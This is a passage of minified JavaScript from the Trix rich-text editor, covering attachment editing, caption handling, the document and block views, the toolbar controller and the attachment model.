e.attachmentEditorDidRequestUpdatingAttributesForAttachment?e.attachmentEditorDidRequestUpdatingAttributesForAttachment({caption:t},this.attachment):void 0:null!=(n=this.delegate)&&"function"==typeof n.attachmentEditorDidRequestRemovingAttributeForAttachment?n.attachmentEditorDidRequestRemovingAttributeForAttachment("caption",this.attachment):void 0):void 0},p.prototype.makeElementMutable=d(function(){return{do:(t=this,function(){return t.element.dataset.trixMutable=!0}),undo:function(t){return function(){return delete t.element.dataset.trixMutable}}(this)};var t}),p.prototype.addToolbar=d(function(){var e,r,u;return(e=a({tagName:"div",className:t.attachmentToolbar,data:{trixMutable:!0}})).innerHTML='<div class="trix-button-row">\n <span class="trix-button-group trix-button-group--actions">\n <button type="button" data-trix-action="remove" class="trix-button trix-button--remove" title="'+s.remove+'">'+s.remove+"</button>\n </span>\n</div>",this.attachment.isPreviewable()&&(r=n(this.attachment.getFilename()),u=n(this.attachment.getFormattedFilesize()),e.innerHTML+='<div class="'+t.attachmentMetadataContainer+'">\n <span class="'+t.attachmentMetadata+'">\n <span class="'+t.attachmentName+'" title="'+r+'">'+r+'</span>\n <span class="'+t.attachmentSize+'">'+u+"</span>\n </span>\n</div>"),o("click",{onElement:e,withCallback:this.didClickToolbar}),o("click",{onElement:e,matchingSelector:"[data-trix-action]",withCallback:this.didClickActionButton}),{do:function(t){return function(){return t.element.appendChild(e)}}(this),undo:function(){return i.removeNode(e)}}}),p.prototype.installCaptionEditor=d(function(){var n,r,u,c,l;return(c=a({tagName:"textarea",className:t.attachmentCaptionEditor,attributes:{placeholder:s.captionPlaceholder},data:{trixMutable:!0}})).value=this.attachmentPiece.getCaption(),(l=c.cloneNode()).classList.add("trix-autoresize-clone"),l.tabIndex=-1,n=function(){return l.value=c.value,c.style.height=l.scrollHeight+"px"},o("input",{onElement:c,withCallback:n}),o("input",{onElement:c,withCallback:this.didInputCaption}),o("keydown",{onElement:c,withCallback:this.didKeyDownCaption}),o("change",{onElement:c,withCallback:this.didChangeCaption}),o("blur",{onElement:c,withCallback:this.didBlurCaption}),u=this.element.querySelector("figcaption"),r=u.cloneNode(),{do:function(i){return function(){return u.style.display="none",r.appendChild(c),r.appendChild(l),r.classList.add(t.attachmentCaption+"--editing"),u.parentElement.insertBefore(r,u),n(),i.options.editCaption?e(function(){return c.focus()}):void 0}}(this),undo:function(){return i.removeNode(r),u.style.display=null}}}),p.prototype.didClickToolbar=function(t){return t.preventDefault(),t.stopPropagation()},p.prototype.didClickActionButton=function(t){var e;switch(t.target.getAttribute("data-trix-action")){case"remove":return null!=(e=this.delegate)?e.attachmentEditorDidRequestRemovalOfAttachment(this.attachment):void 0}},p.prototype.didKeyDownCaption=function(t){var e;return"return"===r[t.keyCode]?(t.preventDefault(),this.savePendingCaption(),null!=(e=this.delegate)&&"function"==typeof e.attachmentEditorDidRequestDeselectingAttachment?e.attachmentEditorDidRequestDeselectingAttachment(this.attachment):void 0):void 0},p.prototype.didInputCaption=function(t){return this.pendingCaption=t.target.value.replace(/\s/g," ").trim()},p.prototype.didChangeCaption=function(){return this.savePendingCaption()},p.prototype.didBlurCaption=function(){return this.savePendingCaption()},p}(i.BasicObject)}.call(this),function(){var t,e,n,o=function(t,e){function n(){this.constructor=t}for(var i in e)r.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},r={}.hasOwnProperty;n=i.makeElement,t=i.config.css,i.AttachmentView=function(r){function s(){s.__super__.constructor.apply(this,arguments),this.attachment=this.object,this.attachment.uploadProgressDelegate=this,this.attachmentPiece=this.options.piece}var a;return o(s,r),s.attachmentSelector="[data-trix-attachment]",s.prototype.createContentNodes=function(){return[]},s.prototype.createNodes=function(){var e,i,o,r,s,u,c;if(e=r=n({tagName:"figure",className:this.getClassName(),data:this.getData(),editable:!1}),(i=this.getHref())&&(r=n({tagName:"a",editable:!1,attributes:{href:i,tabindex:-1}}),e.appendChild(r)),this.attachment.hasContent())r.innerHTML=this.attachment.getContent();else for(o=0,s=(c=this.createContentNodes()).length;s>o;o++)u=c[o],r.appendChild(u);return r.appendChild(this.createCaptionElement()),this.attachment.isPending()&&(this.progressElement=n({tagName:"progress",attributes:{class:t.attachmentProgress,value:this.attachment.getUploadProgress(),max:100},data:{trixMutable:!0,trixStoreKey:["progressElement",this.attachment.id].join("/")}}),e.appendChild(this.progressElement)),[a("left"),e,a("right")]},s.prototype.createCaptionElement=function(){var e,i,o,r,s,a,u;return o=n({tagName:"figcaption",className:t.attachmentCaption}),(e=this.attachmentPiece.getCaption())?(o.classList.add(t.attachmentCaption+"--edited"),o.textContent=e):((i=this.getCaptionConfig()).name&&(r=this.attachment.getFilename()),i.size&&(a=this.attachment.getFormattedFilesize()),r&&(s=n({tagName:"span",className:t.attachmentName,textContent:r}),o.appendChild(s)),a&&(r&&o.appendChild(document.createTextNode(" ")),u=n({tagName:"span",className:t.attachmentSize,textContent:a}),o.appendChild(u))),o},s.prototype.getClassName=function(){var e,n;return n=[t.attachment,t.attachment+"--"+this.attachment.getType()],(e=this.attachment.getExtension())&&n.push(t.attachment+"--"+e),n.join(" ")},s.prototype.getData=function(){var t,e;return e={trixAttachment:JSON.stringify(this.attachment),trixContentType:this.attachment.getContentType(),trixId:this.attachment.id},(t=this.attachmentPiece.attributes).isEmpty()||(e.trixAttributes=JSON.stringify(t)),this.attachment.isPending()&&(e.trixSerialize=!1),e},s.prototype.getHref=function(){return e(this.attachment.getContent(),"a")?void 0:this.attachment.getHref()},s.prototype.getCaptionConfig=function(){var t,e,n;return n=this.attachment.getType(),t=i.copyObject(null!=(e=i.config.attachments[n])?e.caption:void 0),"file"===n&&(t.name=!0),t},s.prototype.findProgressElement=function(){var t;return null!=(t=this.findElement())?t.querySelector("progress"):void 0},a=function(t){return n({tagName:"span",textContent:i.ZERO_WIDTH_SPACE,data:{trixCursorTarget:t,trixSerialize:!1}})},s.prototype.attachmentDidChangeUploadProgress=function(){var t,e;return e=this.attachment.getUploadProgress(),null!=(t=this.findProgressElement())?t.value=e:void 0},s}(i.ObjectView),e=function(t,e){var i;return(i=n("div")).innerHTML=null!=t?t:"",i.querySelector(e)}}.call(this),function(){var t,e=function(t,e){function i(){this.constructor=t}for(var o in e)n.call(e,o)&&(t[o]=e[o]);return i.prototype=e.prototype,t.prototype=new i,t.__super__=e.prototype,t},n={}.hasOwnProperty;t=i.makeElement,i.PreviewableAttachmentView=function(n){function o(){o.__super__.constructor.apply(this,arguments),this.attachment.previewDelegate=this}return e(o,n),o.prototype.createContentNodes=function(){return this.image=t({tagName:"img",attributes:{src:""},data:{trixMutable:!0}}),this.refresh(this.image),[this.image]},o.prototype.createCaptionElement=function(){var t;return(t=o.__super__.createCaptionElement.apply(this,arguments)).textContent||t.setAttribute("data-trix-placeholder",i.config.lang.captionPlaceholder),t},o.prototype.refresh=function(t){var e;return null==t&&(t=null!=(e=this.findElement())?e.querySelector("img"):void 0),t?this.updateAttributesForImage(t):void 0},o.prototype.updateAttributesForImage=function(t){var e,n,i,o,r,s;return r=this.attachment.getURL(),n=this.attachment.getPreviewURL(),t.src=n||r,n===r?t.removeAttribute("data-trix-serialized-attributes"):(i=JSON.stringify({src:r}),t.setAttribute("data-trix-serialized-attributes",i)),s=this.attachment.getWidth(),e=this.attachment.getHeight(),null!=s&&(t.width=s),null!=e&&(t.height=e),o=["imageElement",this.attachment.id,t.src,t.width,t.height].join("/"),t.dataset.trixStoreKey=o},o.prototype.attachmentDidChangeAttributes=function(){return this.refresh(this.image),this.refresh()},o}(i.AttachmentView)}.call(this),function(){var t,e,n,o=function(t,e){function n(){this.constructor=t}for(var i in e)r.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},r={}.hasOwnProperty;n=i.makeElement,t=i.findInnerElement,e=i.getTextConfig,i.PieceView=function(r){function s(){var t;s.__super__.constructor.apply(this,arguments),this.piece=this.object,this.attributes=this.piece.getAttributes(),t=this.options,this.textConfig=t.textConfig,this.context=t.context,this.piece.attachment?this.attachment=this.piece.attachment:this.string=this.piece.toString()}var a;return o(s,r),s.prototype.createNodes=function(){var e,n,i,o,r,s;if(s=this.attachment?this.createAttachmentNodes():this.createStringNodes(),e=this.createElement()){for(i=t(e),n=0,o=s.length;o>n;n++)r=s[n],i.appendChild(r);s=[e]}return s},s.prototype.createAttachmentNodes=function(){var t;return t=this.attachment.isPreviewable()?i.PreviewableAttachmentView:i.AttachmentView,this.createChildView(t,this.piece.attachment,{piece:this.piece}).getNodes()},s.prototype.createStringNodes=function(){var t,e,i,o,r,s,a,u,c;if(null!=(a=this.textConfig)?a.plaintext:void 0)return[document.createTextNode(this.string)];for(s=[],i=e=0,o=(u=this.string.split("\n")).length;o>e;i=++e)c=u[i],i>0&&(t=n("br"),s.push(t)),c.length&&(r=document.createTextNode(this.preserveSpaces(c)),s.push(r));return s},s.prototype.createElement=function(){var t,i,o,r,s,a,u,c,l;for(r in c={},a=this.attributes)if(l=a[r],(t=e(r))&&(t.tagName&&(s=n(t.tagName),o?(o.appendChild(s),o=s):i=o=s),t.styleProperty&&(c[t.styleProperty]=l),t.style))for(r in u=t.style)l=u[r],c[r]=l;if(Object.keys(c).length)for(r in null==i&&(i=n("span")),c)l=c[r],i.style[r]=l;return i},s.prototype.createContainerElement=function(){var t,i,o,r,s;for(o in r=this.attributes)if(s=r[o],(i=e(o))&&i.groupTagName)return(t={})[o]=s,n(i.groupTagName,t)},a=i.NON_BREAKING_SPACE,s.prototype.preserveSpaces=function(t){return this.context.isLast&&(t=t.replace(/\ $/,a)),t=t.replace(/(\S)\ {3}(\S)/g,"$1 "+a+" $2").replace(/\ {2}/g,a+" ").replace(/\ {2}/g," "+a),(this.context.isFirst||this.context.followsWhitespace)&&(t=t.replace(/^\ /,a)),t},s}(i.ObjectView)}.call(this),function(){var t=function(t,n){function i(){this.constructor=t}for(var o in n)e.call(n,o)&&(t[o]=n[o]);return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,t},e={}.hasOwnProperty;i.TextView=function(e){function n(){n.__super__.constructor.apply(this,arguments),this.text=this.object,this.textConfig=this.options.textConfig}var o;return t(n,e),n.prototype.createNodes=function(){var t,e,n,r,s,a,u,c,l,h;for(a=[],r=(c=i.ObjectGroup.groupObjects(this.getPieces())).length-1,n=e=0,s=c.length;s>e;n=++e)u=c[n],t={},0===n&&(t.isFirst=!0),n===r&&(t.isLast=!0),o(l)&&(t.followsWhitespace=!0),h=this.findOrCreateCachedChildView(i.PieceView,u,{textConfig:this.textConfig,context:t}),a.push.apply(a,h.getNodes()),l=u;return a},n.prototype.getPieces=function(){var t,e,n,i,o;for(o=[],t=0,e=(i=this.text.getPieces()).length;e>t;t++)(n=i[t]).hasAttribute("blockBreak")||o.push(n);return o},o=function(t){return/\s$/.test(null!=t?t.toString():void 0)},n}(i.ObjectView)}.call(this),function(){var t,e,n,o=function(t,e){function n(){this.constructor=t}for(var i in e)r.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},r={}.hasOwnProperty;n=i.makeElement,e=i.getBlockConfig,t=i.config.css,i.BlockView=function(r){function s(){s.__super__.constructor.apply(this,arguments),this.block=this.object,this.attributes=this.block.getAttributes()}return o(s,r),s.prototype.createNodes=function(){var t,o,r,s,a,u,c,l;if(a=[document.createComment("block")],this.block.isEmpty()?a.push(n("br")):(c=null!=(u=e(this.block.getLastAttribute()))?u.text:void 0,l=this.findOrCreateCachedChildView(i.TextView,this.block.text,{textConfig:c}),a.push.apply(a,l.getNodes()),this.shouldAddExtraNewlineElement()&&a.push(n("br"))),this.attributes.length)return a;for(t=n(i.config.blockAttributes.default.tagName),o=0,r=a.length;r>o;o++)s=a[o],t.appendChild(s);return[t]},s.prototype.createContainerElement=function(i){var o,r,s;return o=this.attributes[i],r={tagName:e(o).tagName},"attachmentGallery"===o&&(s=this.block.getBlockBreakPosition(),r.className=t.attachmentGallery+" "+t.attachmentGallery+"--"+s),n(r)},s.prototype.shouldAddExtraNewlineElement=function(){return/\n\n$/.test(this.block.toString())},s}(i.ObjectView)}.call(this),function(){var t,e,n=function(t,e){function n(){this.constructor=t}for(var i in e)o.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},o={}.hasOwnProperty;t=i.defer,e=i.makeElement,i.DocumentView=function(o){function r(){r.__super__.constructor.apply(this,arguments),this.element=this.options.element,this.elementStore=new i.ElementStore,this.setDocument(this.object)}var s,a,u;return n(r,o),r.render=function(t){var n,i;return(i=new this(t,{element:n=e("div")})).render(),i.sync(),n},r.prototype.setDocument=function(t){return t.isEqualTo(this.document)?void 0:this.document=this.object=t},r.prototype.render=function(){var t,n,o,r,s,a,u;if(this.childViews=[],this.shadowElement=e("div"),!this.document.isEmpty()){for(a=[],t=0,n=(s=i.ObjectGroup.groupObjects(this.document.getBlocks(),{asTree:!0})).length;n>t;t++)r=s[t],u=this.findOrCreateCachedChildView(i.BlockView,r),a.push(function(){var t,e,n,i;for(i=[],t=0,e=(n=u.getNodes()).length;e>t;t++)o=n[t],i.push(this.shadowElement.appendChild(o));return i}.call(this));return a}},r.prototype.isSynced=function(){return s(this.shadowElement,this.element)},r.prototype.sync=function(){var t;for(t=this.createDocumentFragmentForSync();this.element.lastChild;)this.element.removeChild(this.element.lastChild);return this.element.appendChild(t),this.didSync()},r.prototype.didSync=function(){return this.elementStore.reset(a(this.element)),t(function(t){return function(){return t.garbageCollectCachedViews()}}(this))},r.prototype.createDocumentFragmentForSync=function(){var t,e,n,i,o,r,s,u,c,l;for(e=document.createDocumentFragment(),n=0,o=(u=this.shadowElement.childNodes).length;o>n;n++)s=u[n],e.appendChild(s.cloneNode(!0));for(i=0,r=(c=a(e)).length;r>i;i++)t=c[i],(l=this.elementStore.remove(t))&&t.parentNode.replaceChild(l,t);return e},a=function(t){return t.querySelectorAll("[data-trix-store-key]")},s=function(t,e){return u(t.innerHTML)===u(e.innerHTML)},u=function(t){return t.replace(/ /g," ")},r}(i.ObjectView)}.call(this),function(){var t,e,n,o,r,s=function(t,e){return function(){return t.apply(e,arguments)}},a=function(t,e){function n(){this.constructor=t}for(var i in e)u.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},u={}.hasOwnProperty;n=i.findClosestElementFromNode,o=i.handleEvent,r=i.innerElementIsActive,e=i.defer,t=i.AttachmentView.attachmentSelector,i.CompositionController=function(u){function c(e,n){this.element=e,this.composition=n,this.didClickAttachment=s(this.didClickAttachment,this),this.didBlur=s(this.didBlur,this),this.didFocus=s(this.didFocus,this),this.documentView=new i.DocumentView(this.composition.document,{element:this.element}),o("focus",{onElement:this.element,withCallback:this.didFocus}),o("blur",{onElement:this.element,withCallback:this.didBlur}),o("click",{onElement:this.element,matchingSelector:"a[contenteditable=false]",preventDefault:!0}),o("mousedown",{onElement:this.element,matchingSelector:t,withCallback:this.didClickAttachment}),o("click",{onElement:this.element,matchingSelector:"a"+t,preventDefault:!0})}return a(c,u),c.prototype.didFocus=function(){var t,e,n;return t=function(t){return function(){var e;return t.focused?void 0:(t.focused=!0,null!=(e=t.delegate)&&"function"==typeof e.compositionControllerDidFocus?e.compositionControllerDidFocus():void 0)}}(this),null!=(e=null!=(n=this.blurPromise)?n.then(t):void 0)?e:t()},c.prototype.didBlur=function(){return this.blurPromise=new Promise((t=this,function(n){return e(function(){var e;return r(t.element)||(t.focused=null,null!=(e=t.delegate)&&"function"==typeof e.compositionControllerDidBlur&&e.compositionControllerDidBlur()),t.blurPromise=null,n()})}));var t},c.prototype.didClickAttachment=function(t,e){var i,o,r;return i=this.findAttachmentForElement(e),o=null!=n(t.target,{matchingSelector:"figcaption"}),null!=(r=this.delegate)&&"function"==typeof r.compositionControllerDidSelectAttachment?r.compositionControllerDidSelectAttachment(i,{editCaption:o}):void 0},c.prototype.getSerializableElement=function(){return this.isEditingAttachment()?this.documentView.shadowElement:this.element},c.prototype.render=function(){var t,e,n;return this.revision!==this.composition.revision&&(this.documentView.setDocument(this.composition.document),this.documentView.render(),this.revision=this.composition.revision),this.canSyncDocumentView()&&!this.documentView.isSynced()&&(null!=(t=this.delegate)&&"function"==typeof t.compositionControllerWillSyncDocumentView&&t.compositionControllerWillSyncDocumentView(),this.documentView.sync(),null!=(e=this.delegate)&&"function"==typeof e.compositionControllerDidSyncDocumentView&&e.compositionControllerDidSyncDocumentView()),null!=(n=this.delegate)&&"function"==typeof n.compositionControllerDidRender?n.compositionControllerDidRender():void 0},c.prototype.rerenderViewForObject=function(t){return this.invalidateViewForObject(t),this.render()},c.prototype.invalidateViewForObject=function(t){return this.documentView.invalidateViewForObject(t)},c.prototype.isViewCachingEnabled=function(){return this.documentView.isViewCachingEnabled()},c.prototype.enableViewCaching=function(){return this.documentView.enableViewCaching()},c.prototype.disableViewCaching=function(){return this.documentView.disableViewCaching()},c.prototype.refreshViewCache=function(){return this.documentView.garbageCollectCachedViews()},c.prototype.isEditingAttachment=function(){return null!=this.attachmentEditor},c.prototype.installAttachmentEditorForAttachment=function(t,e){var n,o,r;if((null!=(r=this.attachmentEditor)?r.attachment:void 0)!==t&&(o=this.documentView.findElementForObject(t)))return this.uninstallAttachmentEditor(),n=this.composition.document.getAttachmentPieceForAttachment(t),this.attachmentEditor=new i.AttachmentEditorController(n,o,this.element,e),this.attachmentEditor.delegate=this},c.prototype.uninstallAttachmentEditor=function(){var t;return null!=(t=this.attachmentEditor)?t.uninstall():void 0},c.prototype.didUninstallAttachmentEditor=function(){return this.attachmentEditor=null,this.render()},c.prototype.attachmentEditorDidRequestUpdatingAttributesForAttachment=function(t,e){var n;return null!=(n=this.delegate)&&"function"==typeof n.compositionControllerWillUpdateAttachment&&n.compositionControllerWillUpdateAttachment(e),this.composition.updateAttributesForAttachment(t,e)},c.prototype.attachmentEditorDidRequestRemovingAttributeForAttachment=function(t,e){var n;return null!=(n=this.delegate)&&"function"==typeof n.compositionControllerWillUpdateAttachment&&n.compositionControllerWillUpdateAttachment(e),this.composition.removeAttributeForAttachment(t,e)},c.prototype.attachmentEditorDidRequestRemovalOfAttachment=function(t){var e;return null!=(e=this.delegate)&&"function"==typeof e.compositionControllerDidRequestRemovalOfAttachment?e.compositionControllerDidRequestRemovalOfAttachment(t):void 0},c.prototype.attachmentEditorDidRequestDeselectingAttachment=function(t){var e;return null!=(e=this.delegate)&&"function"==typeof e.compositionControllerDidRequestDeselectingAttachment?e.compositionControllerDidRequestDeselectingAttachment(t):void 0},c.prototype.canSyncDocumentView=function(){return!this.isEditingAttachment()},c.prototype.findAttachmentForElement=function(t){return this.composition.document.getAttachmentById(parseInt(t.dataset.trixId,10))},c}(i.BasicObject)}.call(this),function(){var t,e,n,o=function(t,e){return function(){return t.apply(e,arguments)}},r=function(t,e){function n(){this.constructor=t}for(var i in e)s.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},s={}.hasOwnProperty;e=i.handleEvent,n=i.triggerEvent,t=i.findClosestElementFromNode,i.ToolbarController=function(i){function s(t){this.element=t,this.didKeyDownDialogInput=o(this.didKeyDownDialogInput,this),this.didClickDialogButton=o(this.didClickDialogButton,this),this.didClickAttributeButton=o(this.didClickAttributeButton,this),this.didClickActionButton=o(this.didClickActionButton,this),this.attributes={},this.actions={},this.resetDialogInputs(),e("mousedown",{onElement:this.element,matchingSelector:a,withCallback:this.didClickActionButton}),e("mousedown",{onElement:this.element,matchingSelector:u,withCallback:this.didClickAttributeButton}),e("click",{onElement:this.element,matchingSelector:m,preventDefault:!0}),e("click",{onElement:this.element,matchingSelector:c,withCallback:this.didClickDialogButton}),e("keydown",{onElement:this.element,matchingSelector:l,withCallback:this.didKeyDownDialogInput})}var a,u,c,l,h,p,d,f,g,m;return r(s,i),m=(u="[data-trix-attribute]")+", "+(a="[data-trix-action]"),(h="[data-trix-dialog]")+"[data-trix-active]",c=h+" [data-trix-method]",l=h+" [data-trix-input]",s.prototype.didClickActionButton=function(t,e){var n,i,o;return null!=(i=this.delegate)&&i.toolbarDidClickButton(),t.preventDefault(),n=p(e),this.getDialog(n)?this.toggleDialog(n):null!=(o=this.delegate)?o.toolbarDidInvokeAction(n):void 0},s.prototype.didClickAttributeButton=function(t,e){var n,i,o;return null!=(i=this.delegate)&&i.toolbarDidClickButton(),t.preventDefault(),n=d(e),this.getDialog(n)?this.toggleDialog(n):null!=(o=this.delegate)&&o.toolbarDidToggleAttribute(n),this.refreshAttributeButtons()},s.prototype.didClickDialogButton=function(e,n){var i;return i=t(n,{matchingSelector:h}),this[n.getAttribute("data-trix-method")].call(this,i)},s.prototype.didKeyDownDialogInput=function(t,e){var n,i;return 13===t.keyCode&&(t.preventDefault(),n=e.getAttribute("name"),i=this.getDialog(n),this.setAttribute(i)),27===t.keyCode?(t.preventDefault(),this.hideDialog()):void 0},s.prototype.updateActions=function(t){return this.actions=t,this.refreshActionButtons()},s.prototype.refreshActionButtons=function(){return this.eachActionButton((t=this,function(e,n){return e.disabled=!1===t.actions[n]}));var t},s.prototype.eachActionButton=function(t){var e,n,i,o,r;for(r=[],n=0,i=(o=this.element.querySelectorAll(a)).length;i>n;n++)e=o[n],r.push(t(e,p(e)));return r},s.prototype.updateAttributes=function(t){return this.attributes=t,this.refreshAttributeButtons()},s.prototype.refreshAttributeButtons=function(){return this.eachAttributeButton((t=this,function(e,n){return e.disabled=!1===t.attributes[n],t.attributes[n]||t.dialogIsVisible(n)?(e.setAttribute("data-trix-active",""),e.classList.add("trix-active")):(e.removeAttribute("data-trix-active"),e.classList.remove("trix-active"))}));var t},s.prototype.eachAttributeButton=function(t){var e,n,i,o,r;for(r=[],n=0,i=(o=this.element.querySelectorAll(u)).length;i>n;n++)e=o[n],r.push(t(e,d(e)));return r},s.prototype.applyKeyboardCommand=function(t){var e,i,o,r,s,a;for(r=JSON.stringify(t.sort()),o=0,s=(a=this.element.querySelectorAll("[data-trix-key]")).length;s>o;o++)if(i=(e=a[o]).getAttribute("data-trix-key").split("+"),JSON.stringify(i.sort())===r)return n("mousedown",{onElement:e}),!0;return!1},s.prototype.dialogIsVisible=function(t){var e;return(e=this.getDialog(t))?e.hasAttribute("data-trix-active"):void 0},s.prototype.toggleDialog=function(t){return this.dialogIsVisible(t)?this.hideDialog():this.showDialog(t)},s.prototype.showDialog=function(t){var e,n,i,o,r,s,a,u,c;for(this.hideDialog(),null!=(s=this.delegate)&&s.toolbarWillShowDialog(),(n=this.getDialog(t)).setAttribute("data-trix-active",""),n.classList.add("trix-active"),i=0,r=(a=n.querySelectorAll("input[disabled]")).length;r>i;i++)a[i].removeAttribute("disabled");return(e=d(n))&&(o=g(n,t))&&(o.value=null!=(u=this.attributes[e])?u:"",o.select()),null!=(c=this.delegate)?c.toolbarDidShowDialog(t):void 0},s.prototype.setAttribute=function(t){var e,n,i;return e=d(t),(n=g(t,e)).willValidate&&!n.checkValidity()?(n.setAttribute("data-trix-validate",""),n.classList.add("trix-validate"),n.focus()):(null!=(i=this.delegate)&&i.toolbarDidUpdateAttribute(e,n.value),this.hideDialog())},s.prototype.removeAttribute=function(t){var e,n;return e=d(t),null!=(n=this.delegate)&&n.toolbarDidRemoveAttribute(e),this.hideDialog()},s.prototype.hideDialog=function(){var t,e;return(t=this.element.querySelector("[data-trix-dialog][data-trix-active]"))?(t.removeAttribute("data-trix-active"),t.classList.remove("trix-active"),this.resetDialogInputs(),null!=(e=this.delegate)?e.toolbarDidHideDialog(f(t)):void 0):void 0},s.prototype.resetDialogInputs=function(){var t,e,n,i,o;for(o=[],t=0,n=(i=this.element.querySelectorAll(l)).length;n>t;t++)(e=i[t]).setAttribute("disabled","disabled"),e.removeAttribute("data-trix-validate"),o.push(e.classList.remove("trix-validate"));return o},s.prototype.getDialog=function(t){return this.element.querySelector("[data-trix-dialog="+t+"]")},g=function(t,e){return null==e&&(e=d(t)),t.querySelector("[data-trix-input][name='"+e+"']")},p=function(t){return t.getAttribute("data-trix-action")},d=function(t){var e;return null!=(e=t.getAttribute("data-trix-attribute"))?e:t.getAttribute("data-trix-dialog-attribute")},f=function(t){return t.getAttribute("data-trix-dialog")},s}(i.BasicObject)}.call(this),function(){var t=function(t,n){function i(){this.constructor=t}for(var o in n)e.call(n,o)&&(t[o]=n[o]);return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,t},e={}.hasOwnProperty;i.ImagePreloadOperation=function(e){function n(t){this.url=t}return t(n,e),n.prototype.perform=function(t){var e,n;return(e=new Image).onload=(n=this,function(){return e.width=n.width=e.naturalWidth,e.height=n.height=e.naturalHeight,t(!0,e)}),e.onerror=function(){return t(!1)},e.src=this.url},n}(i.Operation)}.call(this),function(){var t=function(t,e){return function(){return t.apply(e,arguments)}},e=function(t,e){function i(){this.constructor=t}for(var o in e)n.call(e,o)&&(t[o]=e[o]);return i.prototype=e.prototype,t.prototype=new i,t.__super__=e.prototype,t},n={}.hasOwnProperty;i.Attachment=function(n){function o(e){null==e&&(e={}),this.releaseFile=t(this.releaseFile,this),o.__super__.constructor.apply(this,arguments),this.attributes=i.Hash.box(e),this.didChangeAttributes()}return e(o,n),o.previewablePattern=/^image(\/(gif|png|jpe?g)|$)/,o.attachmentForFile=function(t){var e;return(e=new this(this.attributesForFile(t))).setFile(t),e},o.attributesForFile=function(t){return new i.Hash({filename:t.name,filesize:t.size,contentType:t.type})},o.fromJSON=function(t){return new this(t)},o.prototype.getAttribute=function(t){return this.attributes.get(t)},o.prototype.hasAttribute=function(t){return this.attributes.has(t)},o.prototype.getAttributes=function(){return this.attributes.toObject()},o.prototype.setAttributes=function(t){var e,n,i;return null==t&&(t={}),e=this.attributes.merge(t),this.attributes.isEqualTo(e)?void 0:(this.attributes=e,this.didChangeAttributes(),null!=(n=this.previewDelegate)&&"function"==typeof n.attachmentDidChangeAttributes&&n.attachmentDidChangeAttributes(this),null!=(i=this.delegate)&&"function"==typeof i.attachmentDidChangeAttributes?i.attachmentDidChangeAttributes(this):void 0)},o.prototype.didChangeAttributes=function(){return this.isPreviewable()?this.preloadURL():void 0},o.prototype.isPending=function(){return null!=this.file&&!(this.getURL()||this.getHref())},o.prototype.isPreviewable=function(){return this.attributes.has("previewable")?this.attributes.get("previewable"):this.constructor.previewablePattern.test(this.getContentType())},o.prototype.getType=function(){return this.hasContent()?"content":this.isPreviewable()?"preview":"file"},o.prototype.getURL=function(){return this.attributes.get("url")},o.prototype.getHref=function(){return this.attributes.get("href")},o.prototype.getFilename=function(){var t;return null!=(t=this.attributes.get("filename"))?t:""},o.prototype.getFilesize=function(){return this.attributes.get("filesize")},o.prototype.getFormattedFilesize=function(){var t;return"number"==typeof(t=this.attributes.get("filesize"))?i.config.fileSize.formatter(t):""},o.prototype.getExtension=function(){var t;return null!=(t=this.getFilename().match(/\.(\w+)$/))?t[1].toLowerCase():void 0},o.prototype.getContentType=function(){return this.attributes.get("contentType")},o.prototype.hasContent=function(){return this.attributes.has("content")},o.prototype.getContent=function(){return this.attributes.get("content")},o.prototype.getWidth=function(){return this.attributes.get("width")},o.prototype.getHeight=function(){return this.attributes.get("height")},o.prototype.getFile=function(){return this.file},o.prototype.setFile=function(t){return this.file=t,this.isPreviewable()?this.preloadFile():void 0},o.prototype.releaseFile=function(){return this.releasePreloadedFile(),this.file=null},o.prototype.getUploadProgress=function(){var t;return null!=(t=this.uploadProgress)?t:0},o.prototype.setUploadProgress=function(t){var e;return this.uploadProgress!==t?(this.uploadProgress=t,null!=(e=this.uploadProgressDelegate)&&"function"==typeof e.attachmentDidChangeUploadProgress?e.attachmentDidChangeUploadProgress(this):void 0):void 0},o.prototype.toJSON=function(){return this.getAttributes()},o.prototype.getCacheKey=function(){return[o.__super__.getCacheKey.apply(this,arguments),this.attributes.getCacheKey(),this.getPreviewURL()].join("/")},o.prototype.getPreviewURL=function(){return this.previewURL||this.preloadingURL},o.prototype.setPreviewURL=function(t){var e,n;return t!==this.getPreviewURL()?(this.previewURL=t,null!=(e=this.previewDelegate)&&"function"==typeof e.attachmentDidChangeAttributes&&e.attachmentDidChangeAttributes(this),null!=(n=this.delegate)&&"function"==typeof n.attachmentDidChangePreviewURL?n.attachmentDidChangePreviewURL(this):void 0):void 0},o.prototype.preloadURL=function(){return this.preload(this.getURL(),this.releaseFile)},o.prototype.preloadFile=function(){return this.file?(this.fileObjectURL=URL.createObjectURL(this.file),this.preload(this.fileObjectURL)):void 0},o.prototype.releasePreloadedFile=function(){return this.fileObjectURL?(URL.revokeObjectURL(this.fileObjectURL),this.fileObjectURL=null):void 0},o.prototype.preload=function(t,e){return t&&t!==this.getPreviewURL()?(this.preloadingURL=t,new i.ImagePreloadOperation(t).then(function(n){return function(i){var o,r;return r=i.width,o=i.height,n.setAttributes({width:r,height:o}),n.preloadingURL=null,n.setPreviewURL(t),"function"==typeof e?e():void 0}}(this))):void 0},o}(i.Object)}.call(this),function(){var t=function(t,n){function i(){this.constructor=t}for(var o in n)e.call(n,o)&&(t[o]=n[o]);return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,t},e={}.hasOwnProperty;i.Piece=function(e){function n(t,e){null==e&&(e={}),n.__super__.constructor.apply(this,arguments),this.attributes=i.Hash.box(e)}return t(n,e),n.types={},n.registerType=function(t,e){return e.type=t,this.types[t]=e},n.fromJSON=function(t){var e;return(e=this.types[t.type])?e.fromJSON(t):void 0},n.prototype.copyWithAttributes=function(t){return new this.constructor(this.getValue(),t)},n.prototype.copyWithAdditionalAttributes=function(t){return this.copyWithAttributes(this.attributes.merge(t))},n.prototype.copyWithoutAttribute=function(t){return 